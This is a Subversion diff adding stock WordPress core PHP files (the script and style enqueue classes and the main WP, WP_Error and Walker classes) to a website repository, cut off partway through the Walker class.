+		if ( empty($this->registered[$handle]->extra['l10n']) || empty($this->registered[$handle]->extra['l10n'][0]) || !is_array($this->registered[$handle]->extra['l10n'][1]) )
+			return false;
+
+		$object_name = $this->registered[$handle]->extra['l10n'][0];
+
+		$data = "var $object_name = {\n";
+		$eol = '';
+		foreach ( $this->registered[$handle]->extra['l10n'][1] as $var => $val ) {
+			if ( 'l10n_print_after' == $var ) {
+				$after = $val;
+				continue;
+			}
+			$data .= "$eol\t$var: \"" . esc_js( $val ) . '"';
+			$eol = ",\n";
+		}
+		$data .= "\n};\n";
+		$data .= isset($after) ? "$after\n" : '';
+
+		if ( $echo ) {
+			echo "<script type='text/javascript'>\n";
+			echo "/* <![CDATA[ */\n";
+			echo $data;
+			echo "/* ]]> */\n";
+			echo "</script>\n";
+			return true;
+		} else {
+			return $data;
+		}
+	}
+
+	function do_item( $handle, $group = false ) {
+		if ( !parent::do_item($handle) )
+			return false;
+
+		if ( 0 === $group && $this->groups[$handle] > 0 ) {
+			$this->in_footer[] = $handle;
+			return false;
+		}
+
+		if ( false === $group && in_array($handle, $this->in_footer, true) )
+			$this->in_footer = array_diff( $this->in_footer, (array) $handle );
+
+		$ver = $this->registered[$handle]->ver ? $this->registered[$handle]->ver : $this->default_version;
+		if ( isset($this->args[$handle]) )
+			$ver .= '&amp;' . $this->args[$handle];
+
+		$src = $this->registered[$handle]->src;
+
+		if ( $this->do_concat ) {
+			$srce = apply_filters( 'script_loader_src', $src, $handle );
+			if ( $this->in_default_dir($srce) ) {
+				$this->print_code .= $this->print_scripts_l10n( $handle, false );
+				$this->concat .= "$handle,";
+				$this->concat_version .= "$handle$ver";
+				return true;
+			} else {
+				$this->ext_handles .= "$handle,";
+				$this->ext_version .= "$handle$ver";
+			}
+		}
+
+		$this->print_scripts_l10n( $handle );
+		if ( !preg_match('|^https?://|', $src) && ! ( $this->content_url && 0 === strpos($src, $this->content_url) ) ) {
+			$src = $this->base_url . $src;
+		}
+
+		$src = add_query_arg('ver', $ver, $src);
+		$src = esc_url(apply_filters( 'script_loader_src', $src, $handle ));
+
+		if ( $this->do_concat )
+			$this->print_html .= "<script type='text/javascript' src='$src'></script>\n";
+		else
+			echo "<script type='text/javascript' src='$src'></script>\n";
+
+		return true;
+	}
+
+	/**
+	 * Localizes a script
+	 *
+	 * Localizes only if script has already been added
+	 *
+	 * @param string handle Script name
+	 * @param string object_name Name of JS object to hold l10n info
+	 * @param array l10n Array of JS var name => localized string
+	 * @return bool Successful localization
+	 */
+	function localize( $handle, $object_name, $l10n ) {
+		if ( !$object_name || !$l10n )
+			return false;
+		return $this->add_data( $handle, 'l10n', array( $object_name, $l10n ) );
+	}
+
+	function set_group( $handle, $recursion, $group = false ) {
+		$grp = isset($this->registered[$handle]->extra['group']) ? (int) $this->registered[$handle]->extra['group'] : 0;
+		if ( false !== $group && $grp > $group )
+			$grp = $group;
+
+		return parent::set_group( $handle, $recursion, $grp );
+	}
+
+	function all_deps( $handles, $recursion = false, $group = false ) {
+		$r = parent::all_deps( $handles, $recursion );
+		if ( !$recursion )
+			$this->to_do = apply_filters( 'print_scripts_array', $this->to_do );
+		return $r;
+	}
+
+	function do_head_items() {
+		$this->do_items(false, 0);
+		return $this->done;
+	}
+
+	function do_footer_items() {
+		if ( !empty($this->in_footer) ) {
+			foreach( $this->in_footer as $key => $handle ) {
+				if ( !in_array($handle, $this->done, true) && isset($this->registered[$handle]) ) {
+					$this->do_item($handle);
+					$this->done[] = $handle;
+					unset( $this->in_footer[$key] );
+				}
+			}
+		}
+		return $this->done;
+	}
+
+	function in_default_dir($src) {
+		if ( ! $this->default_dirs )
+			return true;
+
+		foreach ( (array) $this->default_dirs as $test ) {
+			if ( 0 === strpos($src, $test) )
+				return true;
+		}
+		return false;
+	}
+
+	function reset() {
+		$this->do_concat = false;
+		$this->print_code = '';
+		$this->concat = '';
+		$this->concat_version = '';
+		$this->print_html = '';
+		$this->ext_version = '';
+		$this->ext_handles = '';
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/class.wp-styles.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/class.wp-styles.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/class.wp-styles.php	(revision 44)
@@ -0,0 +1,119 @@
+<?php
+/**
+ * BackPress Styles enqueue.
+ *
+ * These classes were refactored from the WordPress WP_Scripts and WordPress
+ * script enqueue API.
+ *
+ * @package BackPress
+ * @since r74
+ */
+
+/**
+ * BackPress Styles enqueue class.
+ *
+ * @package BackPress
+ * @uses WP_Dependencies
+ * @since r74
+ */
+class WP_Styles extends WP_Dependencies {
+	var $base_url;
+	var $content_url;
+	var $default_version;
+	var $text_direction = 'ltr';
+	var $concat = '';
+	var $concat_version = '';
+	var $do_concat = false;
+	var $print_html = '';
+	var $default_dirs;
+
+	function __construct() {
+		do_action_ref_array( 'wp_default_styles', array(&$this) );
+	}
+
+	function do_item( $handle ) {
+		if ( !parent::do_item($handle) )
+			return false;
+
+		$ver = $this->registered[$handle]->ver ? $this->registered[$handle]->ver : $this->default_version;
+		if ( isset($this->args[$handle]) )
+			$ver .= '&amp;' . $this->args[$handle];
+
+		if ( $this->do_concat ) {
+			if ( $this->in_default_dir($this->registered[$handle]->src) && !isset($this->registered[$handle]->extra['conditional']) && !isset($this->registered[$handle]->extra['alt']) ) {
+				$this->concat .= "$handle,";
+				$this->concat_version .= "$handle$ver";
+				return true;
+			}
+		}
+
+		if ( isset($this->registered[$handle]->args) )
+			$media = esc_attr( $this->registered[$handle]->args );
+		else
+			$media = 'all';
+
+		$href = $this->_css_href( $this->registered[$handle]->src, $ver, $handle );
+		$rel = isset($this->registered[$handle]->extra['alt']) && $this->registered[$handle]->extra['alt'] ? 'alternate stylesheet' : 'stylesheet';
+		$title = isset($this->registered[$handle]->extra['title']) ? "title='" . esc_attr( $this->registered[$handle]->extra['title'] ) . "'" : '';
+
+		$end_cond = $tag = '';
+		if ( isset($this->registered[$handle]->extra['conditional']) && $this->registered[$handle]->extra['conditional'] ) {
+			$tag .= "<!--[if {$this->registered[$handle]->extra['conditional']}]>\n";
+			$end_cond = "<![endif]-->\n";
+		}
+
+		$tag .= apply_filters( 'style_loader_tag', "<link rel='$rel' id='$handle-css' $title href='$href' type='text/css' media='$media' />\n", $handle );
+		if ( 'rtl' === $this->text_direction && isset($this->registered[$handle]->extra['rtl']) && $this->registered[$handle]->extra['rtl'] ) {
+			if ( is_bool( $this->registered[$handle]->extra['rtl'] ) )
+				$rtl_href = str_replace( '.css', '-rtl.css', $this->_css_href( $this->registered[$handle]->src , $ver, "$handle-rtl" ));
+			else
+				$rtl_href = $this->_css_href( $this->registered[$handle]->extra['rtl'], $ver, "$handle-rtl" );
+
+			$tag .= apply_filters( 'style_loader_tag', "<link rel='$rel' id='$handle-rtl-css' $title href='$rtl_href' type='text/css' media='$media' />\n", $handle );
+		}
+
+		$tag .= $end_cond;
+
+		if ( $this->do_concat )
+			$this->print_html .= $tag;
+		else
+			echo $tag;
+
+		// Could do something with $this->registered[$handle]->extra here to print out extra CSS rules
+//		echo "<style type='text/css'>\n";
+//		echo "/* <![CDATA[ */\n";
+//		echo "/* ]]> */\n";
+//		echo "</style>\n";
+
+		return true;
+	}
+
+	function all_deps( $handles, $recursion = false, $group = false ) {
+		$r = parent::all_deps( $handles, $recursion );
+		if ( !$recursion )
+			$this->to_do = apply_filters( 'print_styles_array', $this->to_do );
+		return $r;
+	}
+
+	function _css_href( $src, $ver, $handle ) {
+		if ( !preg_match('|^https?://|', $src) && ! ( $this->content_url && 0 === strpos($src, $this->content_url) ) ) {
+			$src = $this->base_url . $src;
+		}
+
+		$src = add_query_arg('ver', $ver, $src);
+		$src = apply_filters( 'style_loader_src', $src, $handle );
+		return esc_url( $src );
+	}
+
+	function in_default_dir($src) {
+		if ( ! $this->default_dirs )
+			return true;
+
+		foreach ( (array) $this->default_dirs as $test ) {
+			if ( 0 === strpos($src, $test) )
+				return true;
+		}
+		return false;
+	}
+
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/classes.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/classes.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/classes.php	(revision 44)
@@ -0,0 +1,1595 @@
+<?php
+/**
+ * Holds Most of the WordPress classes.
+ *
+ * Some of the other classes are contained in other files. For example, the
+ * WordPress cache is in cache.php and the WordPress roles API is in
+ * capabilities.php. The third party libraries are contained in their own
+ * separate files.
+ *
+ * @package WordPress
+ */
+
+/**
+ * WordPress environment setup class.
+ *
+ * @package WordPress
+ * @since 2.0.0
+ */
+class WP {
+	/**
+	 * Public query variables.
+	 *
+	 * Long list of public query variables.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	var $public_query_vars = array('m', 'p', 'posts', 'w', 'cat', 'withcomments', 'withoutcomments', 's', 'search', 'exact', 'sentence', 'debug', 'calendar', 'page', 'paged', 'more', 'tb', 'pb', 'author', 'order', 'orderby', 'year', 'monthnum', 'day', 'hour', 'minute', 'second', 'name', 'category_name', 'tag', 'feed', 'author_name', 'static', 'pagename', 'page_id', 'error', 'comments_popup', 'attachment', 'attachment_id', 'subpost', 'subpost_id', 'preview', 'robots', 'taxonomy', 'term', 'cpage');
+
+	/**
+	 * Private query variables.
+	 *
+	 * Long list of private query variables.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	var $private_query_vars = array('offset', 'posts_per_page', 'posts_per_archive_page', 'showposts', 'nopaging', 'post_type', 'post_status', 'category__in', 'category__not_in', 'category__and', 'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and', 'tag_id', 'post_mime_type', 'perm', 'comments_per_page');
+
+	/**
+	 * Extra query variables set by the user.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	var $extra_query_vars = array();
+
+	/**
+	 * Query variables for setting up the WordPress Query Loop.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	var $query_vars;
+
+	/**
+	 * String parsed to set the query variables.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	var $query_string;
+
+	/**
+	 * Permalink or requested URI.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	var $request;
+
+	/**
+	 * Rewrite rule the request matched.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	var $matched_rule;
+
+	/**
+	 * Rewrite query the request matched.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	var $matched_query;
+
+	/**
+	 * Whether already did the permalink.
+	 *
+	 * @since 2.0.0
+	 * @var bool
+	 */
+	var $did_permalink = false;
+
+	/**
+	 * Add name to list of public query variables.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $qv Query variable name.
+	 */
+	function add_query_var($qv) {
+		if ( !in_array($qv, $this->public_query_vars) )
+			$this->public_query_vars[] = $qv;
+	}
+
+	/**
+	 * Set the value of a query variable.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $key Query variable name.
+	 * @param mixed $value Query variable value.
+	 */
+	function set_query_var($key, $value) {
+		$this->query_vars[$key] = $value;
+	}
+
+	/**
+	 * Parse request to find correct WordPress query.
+	 *
+	 * Sets up the query variables based on the request. There are also many
+	 * filters and actions that can be used to further manipulate the result.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array|string $extra_query_vars Set the extra query variables.
+	 */
+	function parse_request($extra_query_vars = '') {
+		global $wp_rewrite;
+
+		$this->query_vars = array();
+		$taxonomy_query_vars = array();
+
+		if ( is_array($extra_query_vars) )
+			$this->extra_query_vars = & $extra_query_vars;
+		else if (! empty($extra_query_vars))
+			parse_str($extra_query_vars, $this->extra_query_vars);
+
+		// Process PATH_INFO, REQUEST_URI, and 404 for permalinks.
+
+		// Fetch the rewrite rules.
+		$rewrite = $wp_rewrite->wp_rewrite_rules();
+
+		if (! empty($rewrite)) {
+			// If we match a rewrite rule, this will be cleared.
+			$error = '404';
+			$this->did_permalink = true;
+
+			if ( isset($_SERVER['PATH_INFO']) )
+				$pathinfo = $_SERVER['PATH_INFO'];
+			else
+				$pathinfo = '';
+			$pathinfo_array = explode('?', $pathinfo);
+			$pathinfo = str_replace("%", "%25", $pathinfo_array[0]);
+			$req_uri = $_SERVER['REQUEST_URI'];
+			$req_uri_array = explode('?', $req_uri);
+			$req_uri = $req_uri_array[0];
+			$self = $_SERVER['PHP_SELF'];
+			$home_path = parse_url(get_option('home'));
+			if ( isset($home_path['path']) )
+				$home_path = $home_path['path'];
+			else
+				$home_path = '';
+			$home_path = trim($home_path, '/');
+
+			// Trim path info from the end and the leading home path from the
+			// front.  For path info requests, this leaves us with the requesting
+			// filename, if any.  For 404 requests, this leaves us with the
+			// requested permalink.
+			$req_uri = str_replace($pathinfo, '', rawurldecode($req_uri));
+			$req_uri = trim($req_uri, '/');
+			$req_uri = preg_replace("|^$home_path|", '', $req_uri);
+			$req_uri = trim($req_uri, '/');
+			$pathinfo = trim($pathinfo, '/');
+			$pathinfo = preg_replace("|^$home_path|", '', $pathinfo);
+			$pathinfo = trim($pathinfo, '/');
+			$self = trim($self, '/');
+			$self = preg_replace("|^$home_path|", '', $self);
+			$self = trim($self, '/');
+
+			// The requested permalink is in $pathinfo for path info requests and
+			//  $req_uri for other requests.
+			if ( ! empty($pathinfo) && !preg_match('|^.*' . $wp_rewrite->index . '$|', $pathinfo) ) {
+				$request = $pathinfo;
+			} else {
+				// If the request uri is the index, blank it out so that we don't try to match it against a rule.
+				if ( $req_uri == $wp_rewrite->index )
+					$req_uri = '';
+				$request = $req_uri;
+			}
+
+			$this->request = $request;
+
+			// Look for matches.
+			$request_match = $request;
+			foreach ( (array) $rewrite as $match => $query) {
+				// Don't try to match against AtomPub calls
+				if ( $req_uri == 'wp-app.php' )
+					break;
+
+				// If the requesting file is the anchor of the match, prepend it
+				// to the path info.
+				if ((! empty($req_uri)) && (strpos($match, $req_uri) === 0) && ($req_uri != $request)) {
+					$request_match = $req_uri . '/' . $request;
+				}
+
+				if (preg_match("#^$match#", $request_match, $matches) ||
+					preg_match("#^$match#", urldecode($request_match), $matches)) {
+					// Got a match.
+					$this->matched_rule = $match;
+
+					// Trim the query of everything up to the '?'.
+					$query = preg_replace("!^.+\?!", '', $query);
+
+					// Substitute the substring matches into the query.
+					eval("@\$query = \"" . addslashes($query) . "\";");
+
+					$this->matched_query = $query;
+
+					// Parse the query.
+					parse_str($query, $perma_query_vars);
+
+					// If we're processing a 404 request, clear the error var
+					// since we found something.
+					if (isset($_GET['error']))
+						unset($_GET['error']);
+
+					if (isset($error))
+						unset($error);
+
+					break;
+				}
+			}
+
+			// If req_uri is empty or if it is a request for ourself, unset error.
+			if (empty($request) || $req_uri == $self || strpos($_SERVER['PHP_SELF'], 'wp-admin/') !== false) {
+				if (isset($_GET['error']))
+					unset($_GET['error']);
+
+				if (isset($error))
+					unset($error);
+
+				if (isset($perma_query_vars) && strpos($_SERVER['PHP_SELF'], 'wp-admin/') !== false)
+					unset($perma_query_vars);
+
+				$this->did_permalink = false;
+			}
+		}
+
+		$this->public_query_vars = apply_filters('query_vars', $this->public_query_vars);
+
+		foreach ( $GLOBALS['wp_taxonomies'] as $taxonomy => $t )
+			if ( $t->query_var )
+				$taxonomy_query_vars[$t->query_var] = $taxonomy;
+
+		for ($i=0; $i<count($this->public_query_vars); $i += 1) {
+			$wpvar = $this->public_query_vars[$i];
+			if (isset($this->extra_query_vars[$wpvar]))
+				$this->query_vars[$wpvar] = $this->extra_query_vars[$wpvar];
+			elseif (isset($GLOBALS[$wpvar]))
+				$this->query_vars[$wpvar] = $GLOBALS[$wpvar];
+			elseif (!empty($_POST[$wpvar]))
+				$this->query_vars[$wpvar] = $_POST[$wpvar];
+			elseif (!empty($_GET[$wpvar]))
+				$this->query_vars[$wpvar] = $_GET[$wpvar];
+			elseif (!empty($perma_query_vars[$wpvar]))
+				$this->query_vars[$wpvar] = $perma_query_vars[$wpvar];
+
+			if ( !empty( $this->query_vars[$wpvar] ) ) {
+				$this->query_vars[$wpvar] = (string) $this->query_vars[$wpvar];
+				if ( in_array( $wpvar, $taxonomy_query_vars ) ) {
+					$this->query_vars['taxonomy'] = $taxonomy_query_vars[$wpvar];
+					$this->query_vars['term'] = $this->query_vars[$wpvar];
+				}
+			}
+		}
+
+		foreach ( (array) $this->private_query_vars as $var) {
+			if (isset($this->extra_query_vars[$var]))
+				$this->query_vars[$var] = $this->extra_query_vars[$var];
+			elseif (isset($GLOBALS[$var]) && '' != $GLOBALS[$var])
+				$this->query_vars[$var] = $GLOBALS[$var];
+		}
+
+		if ( isset($error) )
+			$this->query_vars['error'] = $error;
+
+		$this->query_vars = apply_filters('request', $this->query_vars);
+
+		do_action_ref_array('parse_request', array(&$this));
+	}
+
+	/**
+	 * Send additional HTTP headers for caching, content type, etc.
+	 *
+	 * Sets the X-Pingback header, 404 status (if 404), Content-type. If showing
+	 * a feed, it will also send last-modified, etag, and 304 status if needed.
+	 *
+	 * @since 2.0.0
+	 */
+	function send_headers() {
+		$headers = array('X-Pingback' => get_bloginfo('pingback_url'));
+		$status = null;
+		$exit_required = false;
+
+		if ( is_user_logged_in() )
+			$headers = array_merge($headers, wp_get_nocache_headers());
+		if ( !empty($this->query_vars['error']) && '404' == $this->query_vars['error'] ) {
+			$status = 404;
+			if ( !is_user_logged_in() )
+				$headers = array_merge($headers, wp_get_nocache_headers());
+			$headers['Content-Type'] = get_option('html_type') . '; charset=' . get_option('blog_charset');
+		} else if ( empty($this->query_vars['feed']) ) {
+			$headers['Content-Type'] = get_option('html_type') . '; charset=' . get_option('blog_charset');
+		} else {
+			// We're showing a feed, so WP is indeed the only thing that last changed
+			if ( !empty($this->query_vars['withcomments'])
+				|| ( empty($this->query_vars['withoutcomments'])
+					&& ( !empty($this->query_vars['p'])
+						|| !empty($this->query_vars['name'])
+						|| !empty($this->query_vars['page_id'])
+						|| !empty($this->query_vars['pagename'])
+						|| !empty($this->query_vars['attachment'])
+						|| !empty($this->query_vars['attachment_id'])
+					)
+				)
+			)
+				$wp_last_modified = mysql2date('D, d M Y H:i:s', get_lastcommentmodified('GMT'), 0).' GMT';
+			else
+				$wp_last_modified = mysql2date('D, d M Y H:i:s', get_lastpostmodified('GMT'), 0).' GMT';
+			$wp_etag = '"' . md5($wp_last_modified) . '"';
+			$headers['Last-Modified'] = $wp_last_modified;
+			$headers['ETag'] = $wp_etag;
+
+			// Support for Conditional GET
+			if (isset($_SERVER['HTTP_IF_NONE_MATCH']))
+				$client_etag = stripslashes(stripslashes($_SERVER['HTTP_IF_NONE_MATCH']));
+			else $client_etag = false;
+
+			$client_last_modified = empty($_SERVER['HTTP_IF_MODIFIED_SINCE']) ? '' : trim($_SERVER['HTTP_IF_MODIFIED_SINCE']);
+			// If string is empty, return 0. If not, attempt to parse into a timestamp
+			$client_modified_timestamp = $client_last_modified ? strtotime($client_last_modified) : 0;
+
+			// Make a timestamp for our most recent modification...
+			$wp_modified_timestamp = strtotime($wp_last_modified);
+
+			if ( ($client_last_modified && $client_etag) ?
+					 (($client_modified_timestamp >= $wp_modified_timestamp) && ($client_etag == $wp_etag)) :
+					 (($client_modified_timestamp >= $wp_modified_timestamp) || ($client_etag == $wp_etag)) ) {
+				$status = 304;
+				$exit_required = true;
+			}
+		}
+
+		$headers = apply_filters('wp_headers', $headers, $this);
+
+		if ( ! empty( $status ) )
+			status_header( $status );
+		foreach( (array) $headers as $name => $field_value )
+			@header("{$name}: {$field_value}");
+
+		if ($exit_required)
+			exit();
+
+		do_action_ref_array('send_headers', array(&$this));
+	}
+
+	/**
+	 * Sets the query string property based off of the query variable property.
+	 *
+	 * The 'query_string' filter is deprecated, but still works. Plugins should
+	 * use the 'request' filter instead.
+	 *
+	 * @since 2.0.0
+	 */
+	function build_query_string() {
+		$this->query_string = '';
+		foreach ( (array) array_keys($this->query_vars) as $wpvar) {
+			if ( '' != $this->query_vars[$wpvar] ) {
+				$this->query_string .= (strlen($this->query_string) < 1) ? '' : '&';
+				if ( !is_scalar($this->query_vars[$wpvar]) ) // Discard non-scalars.
+					continue;
+				$this->query_string .= $wpvar . '=' . rawurlencode($this->query_vars[$wpvar]);
+			}
+		}
+
+		// query_string filter deprecated.  Use request filter instead.
+		if ( has_filter('query_string') ) {  // Don't bother filtering and parsing if no plugins are hooked in.
+			$this->query_string = apply_filters('query_string', $this->query_string);
+			parse_str($this->query_string, $this->query_vars);
+		}
+	}
+
+	/**
+	 * Setup the WordPress Globals.
+	 *
+	 * The query_vars property will be extracted to the GLOBALS. So care should
+	 * be taken when naming global variables that might interfere with the
+	 * WordPress environment.
+	 *
+	 * @global string $query_string Query string for the loop.
+	 * @global int $more Only set, if single page or post.
+	 * @global int $single If single page or post. Only set, if single page or post.
+	 *
+	 * @since 2.0.0
+	 */
+	function register_globals() {
+		global $wp_query;
+		// Extract updated query vars back into global namespace.
+		foreach ( (array) $wp_query->query_vars as $key => $value) {
+			$GLOBALS[$key] = $value;
+		}
+
+		$GLOBALS['query_string'] = $this->query_string;
+		$GLOBALS['posts'] = & $wp_query->posts;
+		$GLOBALS['post'] = $wp_query->post;
+		$GLOBALS['request'] = $wp_query->request;
+
+		if ( is_single() || is_page() ) {
+			$GLOBALS['more'] = 1;
+			$GLOBALS['single'] = 1;
+		}
+	}
+
+	/**
+	 * Setup the current user.
+	 *
+	 * @since 2.0.0
+	 */
+	function init() {
+		wp_get_current_user();
+	}
+
+	/**
+	 * Setup the Loop based on the query variables.
+	 *
+	 * @uses WP::$query_vars
+	 * @since 2.0.0
+	 */
+	function query_posts() {
+		global $wp_the_query;
+		$this->build_query_string();
+		$wp_the_query->query($this->query_vars);
+ 	}
+
+ 	/**
+ 	 * Set the Headers for 404, if permalink is not found.
+	 *
+	 * Issue a 404 if a permalink request doesn't match any posts.  Don't issue
+	 * a 404 if one was already issued, if the request was a search, or if the
+	 * request was a regular query string request rather than a permalink
+	 * request. Issues a 200, if not 404.
+	 *
+	 * @since 2.0.0
+ 	 */
+	function handle_404() {
+		global $wp_query;
+
+		if ( (0 == count($wp_query->posts)) && !is_404() && !is_search() && ( $this->did_permalink || (!empty($_SERVER['QUERY_STRING']) && (false === strpos($_SERVER['REQUEST_URI'], '?'))) ) ) {
+			// Don't 404 for these queries if they matched an object.
+			if ( ( is_tag() || is_category() || is_author() ) && $wp_query->get_queried_object() ) {
+				if ( !is_404() )
+					status_header( 200 );
+				return;
+			}
+			$wp_query->set_404();
+			status_header( 404 );
+			nocache_headers();
+		} elseif ( !is_404() ) {
+			status_header( 200 );
+		}
+	}
+
+	/**
+	 * Sets up all of the variables required by the WordPress environment.
+	 *
+	 * The action 'wp' has one parameter that references the WP object. It
+	 * allows for accessing the properties and methods to further manipulate the
+	 * object.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string|array $query_args Passed to {@link parse_request()}
+	 */
+	function main($query_args = '') {
+		$this->init();
+		$this->parse_request($query_args);
+		$this->send_headers();
+		$this->query_posts();
+		$this->handle_404();
+		$this->register_globals();
+		do_action_ref_array('wp', array(&$this));
+	}
+
+	/**
+	 * PHP4 Constructor - Does nothing.
+	 *
+	 * Call main() method when ready to run setup.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @return WP
+	 */
+	function WP() {
+		// Empty.
+	}
+}
+
+/**
+ * WordPress Error class.
+ *
+ * Container for checking for WordPress errors and error messages. Return
+ * WP_Error and use {@link is_wp_error()} to check if this class is returned.
+ * Many core WordPress functions pass this class in the event of an error and
+ * if not handled properly will result in code errors.
+ *
+ * @package WordPress
+ * @since 2.1.0
+ */
+class WP_Error {
+	/**
+	 * Stores the list of errors.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $errors = array();
+
+	/**
+	 * Stores the list of data for error codes.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $error_data = array();
+
+	/**
+	 * PHP4 Constructor - Sets up error message.
+	 *
+	 * If code parameter is empty then nothing will be done. It is possible to
+	 * add multiple messages to the same code, but with other methods in the
+	 * class.
+	 *
+	 * All parameters are optional, but if the code parameter is set, then the
+	 * data parameter is optional.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Error code
+	 * @param string $message Error message
+	 * @param mixed $data Optional. Error data.
+	 * @return WP_Error
+	 */
+	function WP_Error($code = '', $message = '', $data = '') {
+		if ( empty($code) )
+			return;
+
+		$this->errors[$code][] = $message;
+
+		if ( ! empty($data) )
+			$this->error_data[$code] = $data;
+	}
+
+	/**
+	 * Retrieve all error codes.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @return array List of error codes, if avaiable.
+	 */
+	function get_error_codes() {
+		if ( empty($this->errors) )
+			return array();
+
+		return array_keys($this->errors);
+	}
+
+	/**
+	 * Retrieve first error code available.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @return string|int Empty string, if no error codes.
+	 */
+	function get_error_code() {
+		$codes = $this->get_error_codes();
+
+		if ( empty($codes) )
+			return '';
+
+		return $codes[0];
+	}
+
+	/**
+	 * Retrieve all error messages or error messages matching code.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Optional. Retrieve messages matching code, if exists.
+	 * @return array Error strings on success, or empty array on failure (if using codee parameter).
+	 */
+	function get_error_messages($code = '') {
+		// Return all messages if no code specified.
+		if ( empty($code) ) {
+			$all_messages = array();
+			foreach ( (array) $this->errors as $code => $messages )
+				$all_messages = array_merge($all_messages, $messages);
+
+			return $all_messages;
+		}
+
+		if ( isset($this->errors[$code]) )
+			return $this->errors[$code];
+		else
+			return array();
+	}
+
+	/**
+	 * Get single error message.
+	 *
+	 * This will get the first message available for the code. If no code is
+	 * given then the first code available will be used.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Optional. Error code to retrieve message.
+	 * @return string
+	 */
+	function get_error_message($code = '') {
+		if ( empty($code) )
+			$code = $this->get_error_code();
+		$messages = $this->get_error_messages($code);
+		if ( empty($messages) )
+			return '';
+		return $messages[0];
+	}
+
+	/**
+	 * Retrieve error data for error code.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Optional. Error code.
+	 * @return mixed Null, if no errors.
+	 */
+	function get_error_data($code = '') {
+		if ( empty($code) )
+			$code = $this->get_error_code();
+
+		if ( isset($this->error_data[$code]) )
+			return $this->error_data[$code];
+		return null;
+	}
+
+	/**
+	 * Append more error messages to list of error messages.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string|int $code Error code.
+	 * @param string $message Error message.
+	 * @param mixed $data Optional. Error data.
+	 */
+	function add($code, $message, $data = '') {
+		$this->errors[$code][] = $message;
+		if ( ! empty($data) )
+			$this->error_data[$code] = $data;
+	}
+
+	/**
+	 * Add data for error code.
+	 *
+	 * The error code can only contain one error data.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param mixed $data Error data.
+	 * @param string|int $code Error code.
+	 */
+	function add_data($data, $code = '') {
+		if ( empty($code) )
+			$code = $this->get_error_code();
+
+		$this->error_data[$code] = $data;
+	}
+}
+
+/**
+ * Check whether variable is a WordPress Error.
+ *
+ * Looks at the object and if a WP_Error class. Does not check to see if the
+ * parent is also WP_Error, so can't inherit WP_Error and still use this
+ * function.
+ *
+ * @since 2.1.0
+ *
+ * @param mixed $thing Check if unknown variable is WordPress Error object.
+ * @return bool True, if WP_Error. False, if not WP_Error.
+ */
+function is_wp_error($thing) {
+	if ( is_object($thing) && is_a($thing, 'WP_Error') )
+		return true;
+	return false;
+}
+
+/**
+ * A class for displaying various tree-like structures.
+ *
+ * Extend the Walker class to use it, see examples at the below. Child classes
+ * do not need to implement all of the abstract methods in the class. The child
+ * only needs to implement the methods that are needed. Also, the methods are
+ * not strictly abstract in that the parameter definition needs to be followed.
+ * The child classes can have additional parameters.
+ *
+ * @package WordPress
+ * @since 2.1.0
+ * @abstract
+ */
+class Walker {
+	/**
+	 * What the class handles.
+	 *
+	 * @since 2.1.0
+	 * @var string
+	 * @access public
+	 */
+	var $tree_type;
+
+	/**
+	 * DB fields to use.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access protected
+	 */
+	var $db_fields;
+
+	/**
+	 * Max number of pages walked by the paged walker
+	 *
+	 * @since 2.7.0
+	 * @var int
+	 * @access protected
+	 */
+	var $max_pages = 1;
+
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * Additional parameters are used in child classes. The args parameter holds
+	 * additional values that may be used with the child class methods. This
+	 * method is called at the start of the output list.
+	 *
+	 * @since 2.1.0
+	 * @abstract
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 */
+	function start_lvl(&$output) {}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * Additional parameters are used in child classes. The args parameter holds
+	 * additional values that may be used with the child class methods. This
+	 * method finishes the list at the end of output of the elements.
+	 *
+	 * @since 2.1.0
+	 * @abstract
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 */
+	function end_lvl(&$output)   {}
+
+	/**
+	 * Start the element output.
+	 *
+	 * Additional parameters are used in child classes. The args parameter holds
+	 * additional values that may be used with the child class methods. Includes
+	 * the element output also.
+	 *
+	 * @since 2.1.0
+	 * @abstract
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 */
+	function start_el(&$output)  {}
+
+	/**
+	 * Ends the element output, if needed.
+	 *
+	 * Additional parameters are used in child classes. The args parameter holds
+	 * additional values that may be used with the child class methods.
+	 *
+	 * @since 2.1.0
+	 * @abstract
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 */
+	function end_el(&$output)    {}
+
+	/**
+	 * Traverse elements to create list from elements.
